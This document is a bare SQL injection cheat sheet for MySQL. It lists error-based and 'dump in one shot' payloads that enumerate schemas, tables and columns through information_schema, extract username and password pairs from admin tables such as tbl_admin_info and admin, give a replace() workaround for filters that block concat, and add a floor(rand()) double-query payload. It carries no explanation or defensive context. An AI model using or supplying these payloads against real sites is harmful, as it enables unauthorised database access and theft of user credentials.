ErrorBaseSql-UserName

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))

(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,table_schema,0x272d2d3e27,table_name,0x272d2d3e27,column_name))))x)

(select (@) from (select (@:=0x00), (select (@) from tbl_admin_info where (@) in (@:=/*!50000concat*/(@,user_name,0x3a,password))))a)
------------------------------------------------------
if concat block use replace function
replace(REPLACE(replace(0x5b215d,0x5b,version()),0x21,database()),0x5d,us​er())


(select (@) from (select (@:=0x00), (select (@) from admin where (@) in (@:=concat(@,0x3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74683e49443c2f74683e3c74683e557365726e616d653c2f74683e3c74683e50617373776f72643c2f74683e3c2f74723e3c74723e3c74642077696474683d223530223e,name,0x3a,password))))a)



AND (select 1 from(select count(*), concat(0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2))a from information_schema.tables group by a)b) ---double query